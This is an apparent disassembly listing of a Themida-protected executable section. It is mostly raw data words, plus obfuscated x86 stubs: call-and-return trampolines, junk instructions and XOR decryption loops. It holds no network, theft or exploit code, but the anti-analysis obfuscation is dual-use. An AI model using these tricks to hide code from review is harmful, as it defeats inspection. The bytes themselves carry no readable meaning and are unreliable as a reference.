		dd 4244481h, 14h, 0E4C35040h, 89D98C66h, 1006D995h, 4E18006h
		dd 7E9h, 79B36A00h, 0D17227Ah, 840FC90Ah, 168h,	11E8h
		dd 0D9ECEA00h, 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0B70F597Ah
		dd 858B5BD8h, 6102185h,	11FD8533h, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C30A7FC3h
		dd 2C4C9543h, 5290F521h, 505FDA8Ah, 714BEDBFh, 6A907Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7127BCC3h, 72C3EBCAh, 29AA99C7h, 10131D8Dh, 0BF0F5206h
		dd 6A5FDAh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	47C35242h, 63FC1642h, 0E30EEEA8h, 0C99D8970h, 0E8061018h
		dd 4, 1F03FFh, 5650FA8Bh, 12E9h, 41543D00h, 1A606B2Fh
		dd 0DD851848h, 712CBCAAh, 5FA173C1h, 424448Bh, 8B65B3h
		dd 4741BB66h, 4244489h,	0F88B5250h, 585A310Fh, 158D8958h
		dd 0FF061008h, 1005D595h, 259D0106h, 89061016h,	13C26D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FB8B6014h, 6810Fh, 0B5890000h, 6101F85h
		dd 71950161h, 0E9061007h, 25Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0A4C35545h,	9EBACC11h, 0F9858957h
		dd 5B061009h, 0C265858Bh, 0F560613h, 68Ah, 0D9D8900h, 5B06100Eh
		dd 1800C7h, 0BE90000h, 0C3000000h, 0CB777D2Fh, 7DB32EADh
		dd 0B58B66D3h, 613C269h, 25858BF8h, 6A06100Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A42BC350h, 29641B84h, 1005A585h, 6A068906h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0EAC8C357h, 0DECF1CD0h, 1A1397E1h, 56E4BF66h, 2185858Bh
		dd 9D890610h, 6101AC5h,	7E8h, 99B7900h,	5B3892CEh, 5FFAB70Fh
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8910C355h, 9D8B84F7h, 61022C5h
		dd 2AB9BD8Bh, 66500610h, 89EB13BFh, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD8F70C3h
		dd 18E1BD23h, 0B5890610h, 6102F8Dh, 0C265B5FFh,	6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0BDE525C3h, 0C810F1Eh, 0E8000000h, 6, 0A46F25D9h, 0E85FDB08h
		dd 4, 1F03FFh, 0C6B2CABFh, 0BB66502Fh, 448B8941h, 52500424h
		dd 0F98B5250h, 0CE8310Fh, 0D5000000h, 9C092921h, 6AF1E5E1h
		dd 5FA806C0h, 310F585Ah, 5850Fh, 0CBB0000h, 5A386816h
		dd 0E9008B58h, 6, 67DFD10Ch, 44895943h,	23580424h, 100829BDh
		dd 6D858D06h, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0FEAFC352h,	1664BE4Dh
		dd 0CF81145Eh, 4FFF5E4Bh, 0AADB8166h, 0FA8B90FAh, 0FB8B5650h
		dd 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h
		dd 1D2CE8C3h, 0E3CAD01h, 11E961h, 48590000h, 89465A91h
		dd 7CB59C1Dh, 56CE859h,	0FFF16588h, 1005D595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 636F7A64h, 44876ADh,	10E8614Dh, 0E6000000h, 3261755Ah
		dd 963B13E6h, 6CFD449h,	0BBBC564Dh, 43D69B8Dh, 0C185C75Bh
		dd 3061022h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5C9BC353h, 0CD8F7030h
		dd 602BA876h, 8B12C880h, 10142D95h, 0BD836106h,	613C26Dh
		dd 54840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 86F2C355h, 6E6EC678h
		dd 1FD19D8Bh, 43E90610h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BC6EC351h
		dd 895B9030h, 0A1BD8BD8h, 50061027h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh, 6100B45h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C4C35141h
		dd 0C1BD8307h, 3061022h, 4DA850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 4DE6C4C3h
		dd 6ABF8036h, 8319EA7Ah, 13C26DBDh, 840F0006h, 4A8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h, 0F3C09DBAh
		dd 7DBD8BC4h, 0FF06102Fh, 13C26DB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 1518F866h
		dd 1BA99D29h, 95FF0610h, 6102FA5h, 9E9h, 104C3900h, 260B08F4h
		dd 0B58B0E8Dh, 613C261h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0F8C35040h, 402ABE9Bh, 106C7F4h, 31000100h
		dd 1011B995h, 5ABF5006h, 891ACAD2h, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 74C008C3h
		dd 806E37A9h, 0B5FFB6E7h, 613C26Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 7DC35040h, 0AA2A486Ch, 0AB477243h
		dd 122595FFh, 0DB800610h, 61B58B9Fh, 6A0613C2h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89B9C356h, 10287985h, 0D1858B06h, 6A061021h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 35B0C353h, 8689DCE6h, 0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 27C35747h, 8B7A4F16h, 1010A1BDh
		dd 91BD8B06h, 8B061012h, 1009F595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 98037F50h
		dd 0EE9D268h, 0D88B66E4h, 6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FB51C352h
		dd 0DB57E85Ah, 142A8C7h, 101BE1B5h, 20508906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 54C35343h, 2BFF1109h
		dd 0FBEB02EBh, 5BD8B44h, 8D06102Fh, 13D7C285h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 9E09EC5h, 101B61BDh,	0B8868906h, 81000000h, 0AFF9F7C7h
		dd 6A006A35h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 28A9C353h, 3681C292h, 147985ECh
		dd 191D9D8Bh, 0BF0F0610h, 6DB5FFD8h, 6A0613C2h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4704C353h, 3E50B9Dh,	0BF0639FEh, 7BC04666h, 49595FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD895CC3h, 6102005h, 6997BB50h, 34896F0Ah
		dd 0AE824h, 0E57D0000h,	0DA093F45h, 4259C6FDh, 8A5B529h
		dd 505F0610h, 870F60h, 8A000000h, 0FF5F61E3h, 13C26DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0F98B615Fh, 162D95FFh, 14E90610h, 0B6000000h
		dd 68A796A1h, 0D582AF4Bh, 4560BCBEh, 90A78ECCh,	83386E48h
		dd 101351BDh, 840F0006h, 35h, 3161B589h, 50960610h, 810Fh
		dd 6A960000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 81AFC357h, 89261C99h, 1019159Dh
		dd 6DB5FF06h, 0E90613C2h, 10h, 2CB32FD9h, 8FE1663Eh, 628176B4h
		dd 0A867EEF3h, 0C1995FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 29FA61C3h, 49E44D7Ch
		dd 8B1541FAh, 0FD8D09D9h, 0FF06101Eh, 13C26DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E388E366h, 8B5B510Ah, 101DB19Dh, 2195FF06h,	66061016h
		dd 4CBEDB81h, 0F89BD83h, 0F020610h, 9884h, 0BE666000h
		dd 11E9FD8Eh, 4000000h,	9417F361h, 0E14A8DAAh, 0FB3F67CBh
		dd 3652E578h, 13E961h, 24EE0000h, 0E795842Eh, 0C3FA63C6h
		dd 0C9308B73h, 0F02D774Fh, 0C5858B94h, 6A061010h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 519AC356h, 0AC27B173h, 8BDF8BFDh, 100A2DBDh,	0C606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h
		dd 0E594E8D1h, 81C3E836h, 0AAF349CBh, 0BDA8B1Eh, 1030599Dh
		dd 2585C706h, 6102Ah, 0BF000000h, 65BCBA9h, 0FFF232E9h
		dd 0DA8B66FFh, 6AC18Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0AE5785C3h, 8BFC7244h, 8D9D8BF8h
		dd 8D061016h, 1013B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 60735770h, 13E960h, 0FBE80000h
		dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh,	0A4BF66CCh
		dd 9D8B61E4h, 6102A15h,	2CC78161h, 9068D394h, 5E8h, 2BC81A00h
		dd 0FB8B1392h, 820F505Fh, 0Dh, 890F60h,	0B8000000h, 6588A3Fh
		dd 8B669061h, 8830FDEh,	50000000h, 21819D23h, 6A5F0610h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 622C37A7h, 0FF9D13F0h, 12B9BD8Bh, 0FE80610h
		dd 1E000000h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 0CF80C47Fh
		dd 0B5895B47h, 61001C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E47935C3h, 0CF310AC5h
		dd 0BF8A321Dh, 6C79D022h, 0C69B858Dh, 0BF660614h, 0C083431Fh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 19E3ADBEh, 90980FACh, 34B75250h,	5051310Fh
		dd 5A310F52h, 585A5F58h, 60606050h, 61616061h, 4852BB66h
		dd 8A0F9061h, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	ebp
		call	sub_597A1D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597A1D	proc near		; CODE XREF: Themida_:00597A15p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_597A1D	endp

; ---------------------------------------------------------------------------
		and	cl, [ebx-2440F0BFh]
		push	0
		cld
		call	dword ptr [ebp+6101D19h]
		mov	edi, 59B7866Ah
		mov	ebx, 70678F51h
		lea	ecx, [ebp+613AFD8h]
		push	0
		push	edx
		call	sub_597A57
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597A57	proc near		; CODE XREF: Themida_:00597A4Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_597A57	endp

; ---------------------------------------------------------------------------
		mov	al, ds:5B1A1EBh
		cmp	edx, [eax-4B7CC4h]
		shr	dword ptr [edx+0], 1
		push	ebx
		call	sub_597A7E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597A7E	proc near		; CODE XREF: Themida_:00597A76p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_597A7E	endp

; ---------------------------------------------------------------------------
		dw 1ED5h
		dd 7C09C9E2h, 0F4A89ADh, 118Dh,	9E800h,	10C00000h, 0C40807D8h
		dd 8A0FB4D6h, 83F85FD8h, 102209BDh, 850F0106h, 4Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0B6C35040h, 0CA05462Eh
		dd 6652026Ah, 5BCCEABBh, 90D88B66h, 0B26ACCBBh,	6690507Dh
		dd 4C29F381h, 49595FFh,	0B5310610h, 6100E61h, 1019D8Bh
		dd 0E2E90610h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 614C6A5h
		or	[ebp+610069Dh],	ecx
		push	0
		push	ebx
		call	sub_597B28
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597B28	proc near		; CODE XREF: Themida_:00597B20p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_597B28	endp

; ---------------------------------------------------------------------------
		dd 0E4FF84C8h, 1465FD33h, 27C19D8Bh, 66520610h,	8D5BDF8Bh
		dd 1399B685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0A48C34A6h, 0EB5D0F17h, 525090CCh
		dd 310FDE8Bh, 0FB17BF66h, 6650585Ah, 6A90DF8Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0B2B2C355h, 62D159C7h, 0BD898FA3h, 61030E5h,	0A19FBF66h
		dd 0D7DBD89h, 0FF640610h, 35h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 64FF7040h
		dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 22429BC3h, 141985FFh, 890F0610h
		dd 1Bh,	0FE8h, 60034700h, 0A95C0202h, 7321BF0Fh, 17C52B01h
		dd 27E1B589h, 6A5B0610h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0D0A6960Eh, 9D29AF98h
		dd 6100A49h, 43F8EB81h,	0B5FF6617h, 6101D89h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 78C35747h, 3224F2F9h
		dd 7B91CBEBh, 0FF5F52D4h, 10061595h, 0FEE906h, 0BD8B0000h
		dd 6103179h, 9D8900B0h,	61013A5h, 0B70F70E6h, 6671E4FEh
		dd 861E381h, 830F613Ch,	0DCh, 0FC8B60Fh, 128Ch,	6E800h
		dd 87DF0000h, 6610CED7h, 20D9BD8Bh, 0BA5B0610h,	6, 45BD8Bh
		dd 0C18B0610h, 8166DD8Ah, 0C1C33FF7h, 5E804E8h,	63000000h
		dd 0A767039Ch, 0E2F7665Fh, 23B99D8Bh, 8A0F0610h, 3, 2BF9B70Fh
		dd 8BDF8BC8h, 101E9DBDh, 8BD18B06h, 1006BDBDh, 76E906h
		dd 8FBF0000h, 8B25C635h, 885h, 83D98B00h, 0DA8B07C0h, 0BB00C083h
		dd 5DBE1EB8h, 830FD03Bh, 1Dh, 18B5BD89h, 0DE90610h, 44000000h
		dd 22DA0CF4h, 0FA284137h, 0CBFDD15Ah, 37E9h, 0FF8D8B00h
		dd 8AFFFFFFh, 1E183D9h,	26840Fh, 89570000h, 100799B5h
		dd 0A5835B06h, 0FFFFFFFFh, 0DD8589FEh, 89061026h, 895h
		dd 0D9BD8B00h, 0E9061007h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6144078h]
		push	eax
		cld
		pop	edi
		push	0
		mov	ebx, 43426278h
		call	dword ptr [ebp+61031C9h]
		push	0
		push	edi
		call	sub_597DB1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597DB1	proc near		; CODE XREF: Themida_:00597DA9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_597DB1	endp

; ---------------------------------------------------------------------------
		db 42h,	97h, 7Ah
		dd 5DB90CD0h, 8900000Fh, 103279BDh, 0FCE18306h,	1C8E0Fh
		dd 0F600000h, 88h, 0EE800h, 1F6E0000h, 648579F4h, 0FBC57757h
		dd 6E9C20AEh, 6AFC6159h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 87F2C353h, 0C02BF530h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 74C35646h
		dd 9109D443h, 0BAFB8B66h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6100A95h]


loc_597E46:				; CODE XREF: Themida_:00597E50j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_597E46
		mov	bl, ah
		push	ebx
		xor	[ebp+61023B1h],	edx
		pop	ebx
		or	eax, 88h
		push	0
		push	ebx
		call	sub_597E6C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597E6C	proc near		; CODE XREF: Themida_:00597E64p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_597E6C	endp

; ---------------------------------------------------------------------------
		dec	esi
		cmpsd
		mov	bx, dx
		mov	edx, [ebp+61009F5h]
		jle	loc_597EA2
		pusha
		call	near ptr loc_597E9A+4
		or	[ebx+14D8A7C6h], esi
		pop	ebx


loc_597E9A:				; CODE XREF: Themida_:00597E8Ep
		cmp	eax, 5E247E52h
		mov	edx, ecx
		popa


loc_597EA2:				; CODE XREF: Themida_:00597E87j
		mov	[ebp+6102189h],	eax
		mov	ecx, [ebp+6102319h]
		push	0
		push	ebp
		call	sub_597EB9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597EB9	proc near		; CODE XREF: Themida_:00597EB1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_597EB9	endp

; ---------------------------------------------------------------------------
		db 15h,	24h, 0Fh
; ---------------------------------------------------------------------------
		and	bx, 0C581h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	ebx
		call	sub_597EEE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597EEE	proc near		; CODE XREF: Themida_:00597EE6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_597EEE	endp

; ---------------------------------------------------------------------------
		pop	es
		xchg	eax, ecx
		jmp	fword ptr [ebx+6DE5AB9h]
; ---------------------------------------------------------------------------
		scasb
		inc	ebp
		sub	[ebp+6101095h],	ecx
		push	0
		push	esi
		call	sub_597F19
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597F19	proc near		; CODE XREF: Themida_:00597F11p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_597F19	endp

; ---------------------------------------------------------------------------
		db 15h,	1Ch, 2
; ---------------------------------------------------------------------------
		cmp	ax, 30Fh
		cmp	dword ptr [ebp+6101E29h], 0
		jz	loc_597FD6
		push	0
		push	ebp
		call	sub_597F48
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597F48	proc near		; CODE XREF: Themida_:00597F40p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_597F48	endp

; ---------------------------------------------------------------------------
		mov	eax, 3DBA858Fh
		cmp	ebp, [eax]
		and	al, 0F0h
		mov	eax, 0
		mov	[ebp+6101645h],	ebx
		lea	ecx, [ebp+6104E85h]
		push	0
		push	ebx
		call	sub_597F7D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597F7D	proc near		; CODE XREF: Themida_:00597F75p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_597F7D	endp

; ---------------------------------------------------------------------------
		std
		retf
; ---------------------------------------------------------------------------
		mov	bl, 8
		or	byte ptr [ebp-7CC47148h], 3
		mov	ebp, 6102939h
		jmp	loc_597FB0
; ---------------------------------------------------------------------------
		xchg	eax, esi
		aas
		nop
		jo	short loc_597FD6
		mov	al, ds:9AFDC6D9h
		jb	short loc_598006
		inc	esi
		pop	ds


loc_597FB0:				; CODE XREF: Themida_:00597F9Dj
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_597FBD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597FBD	proc near		; CODE XREF: Themida_:00597FB5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_597FBD	endp

; ---------------------------------------------------------------------------
		db 10h,	0A4h, 0Bh
; ---------------------------------------------------------------------------
		mov	ds:311CD28Dh, al
		dec	ecx


loc_597FD6:				; CODE XREF: Themida_:00597F37j
					; Themida_:00597FA5j
		cmp	dword ptr [ebp+61022C1h], 0
		jz	loc_5983F7
		push	0
		push	eax
		call	sub_597FEE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597FEE	proc near		; CODE XREF: Themida_:00597FE6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_597FEE	endp

; ---------------------------------------------------------------------------
		cmpsb
		pop	edi
		xor	[ebp+6100909h],	esi


loc_598006:				; CODE XREF: Themida_:00597FACj
		cmp	dword ptr [ebp+61022C1h], 1
		jz	loc_598412
		and	ebx, 12CB792Ah
		cmp	dword ptr [ebp+61022C1h], 3
		jbe	loc_5983DC
		xor	ebx, [ebp+6100901h]
		pusha
		mov	ebx, [ebp+61032B1h]
		mov	cx, ds
		mov	edi, [ebp+6100E15h]
		and	cl, 4
		jmp	loc_598054
; ---------------------------------------------------------------------------
		dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h
; ---------------------------------------------------------------------------


loc_598054:				; CODE XREF: Themida_:0059803Fj
		or	cl, cl
		jz	loc_598161
		mov	bx, si
		mov	eax, [ebp+6102185h]
		jmp	loc_598070
; ---------------------------------------------------------------------------
		test	[esi+406420A6h], ah


loc_598070:				; CODE XREF: Themida_:00598065j
		xor	eax, [ebp+61011FDh]
		push	0
		push	eax
		call	sub_598081
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598081	proc near		; CODE XREF: Themida_:00598079p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_598081	endp

; ---------------------------------------------------------------------------
		sub	[esi-63h], dh
		movsb
		cmc
		push	eax
		mov	ebx, 42CE2ED2h
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5980AA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5980AA	proc near		; CODE XREF: Themida_:005980A2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5980AA	endp

; ---------------------------------------------------------------------------
		dw 4967h
		dd 52F3A68Bh, 6810Fh, 0B5090000h, 6100CA9h, 11E9h, 0FE9AB100h
		dd 26F83472h, 39B8B6Ch,	5A44D694h, 6A35FBh, 0BEC38166h
		dd 899589D1h, 0E8061015h, 4, 1F03FFh, 0BF665250h, 310F918Bh
		dd 8E0Fh, 585A0000h, 0D88B6650h, 424448Bh, 28F0Fh, 0FA8B0000h
		dd 8B52008Bh, 44895FFEh, 52500424h, 0BF66310Fh,	585A0A6Ch
		dd 0CE958h, 30CE0000h, 0A14A4DB2h, 0B37DD362h, 95FFB3FAh
		dd 61005D5h, 1401BD23h,	85890610h, 613C26Dh, 15E5BD8Bh
		dd 0BE90610h, 89000002h, 101C81B5h
; ---------------------------------------------------------------------------
		push	es


loc_598161:				; CODE XREF: Themida_:00598056j
		mov	eax, [ebp+613C265h]
		push	0
		push	edi
		call	sub_598172
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598172	proc near		; CODE XREF: Themida_:0059816Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_598172	endp

; ---------------------------------------------------------------------------
		dw 0A320h
		dd 0B589DFC5h, 6102DADh, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 525936C3h
		dd 0EF095A82h, 0A7DB8166h, 69B58BA6h, 8B0613C2h, 8E9F9h
		dd 0FD830000h, 94A953B5h, 858B5CF4h, 6100E25h, 11E9h, 0A53FD100h
		dd 4B10A967h, 0F8E15977h, 0F324B9CDh, 689A768h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 4FC35141h, 0ADBD8B47h
		dd 0F06102Dh, 68Dh, 95B50100h, 8B061027h, 10218585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B89B42EAh, 0C96B469Ch, 6E920h, 0EB810000h, 0CCF69BB0h
		dd 0F0A8BF66h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 51EDC356h, 0D60104FCh
		dd 9D23F5AFh, 61018E1h,	0CE896h, 0F0D30000h, 0BFD70EDAh
		dd 85AE46B9h, 8D0F1693h, 2, 505F5F50h, 8BDF8B60h, 299661F0h
		dd 1032D185h, 65B5FF06h, 6A0613C2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6C6AC355h
		dd 1699BD89h, 0D1680610h, 502BD092h, 810F5052h,	0
		dd 0F310F5Fh, 487h, 9BB6600h, 81585A5Dh, 912E2434h, 81662BCFh
		dd 8D3720F3h, 13C26D85h, 0C1BD0B06h, 90061027h,	66F18A60h
		dd 61018FBBh, 90FA8A50h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 88C35242h, 0A0E556C4h, 0B589D37Fh, 6102A35h
		dd 5D595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0EA7D08C3h, 18F99531h, 6A610610h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F7D7C351h, 270B4792h, 0C7AAB656h, 1022C185h
		dd 306h, 41952900h, 8306102Fh, 13C26DBDh, 840F0006h, 34h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 29C35545h
		dd 0F9522934h, 9D89525Bh, 6102EC1h, 21E95Bh, 9D290000h
		dd 61008BDh
; ---------------------------------------------------------------------------


loc_5983DC:				; CODE XREF: Themida_:00598020j
					; Themida_:005983F3j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5983DC
		jmp	short loc_59842D
; ---------------------------------------------------------------------------


loc_5983F7:				; CODE XREF: Themida_:00597FDDj
					; Themida_:0059840Ej
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5983F7
		jmp	short loc_59842D
; ---------------------------------------------------------------------------


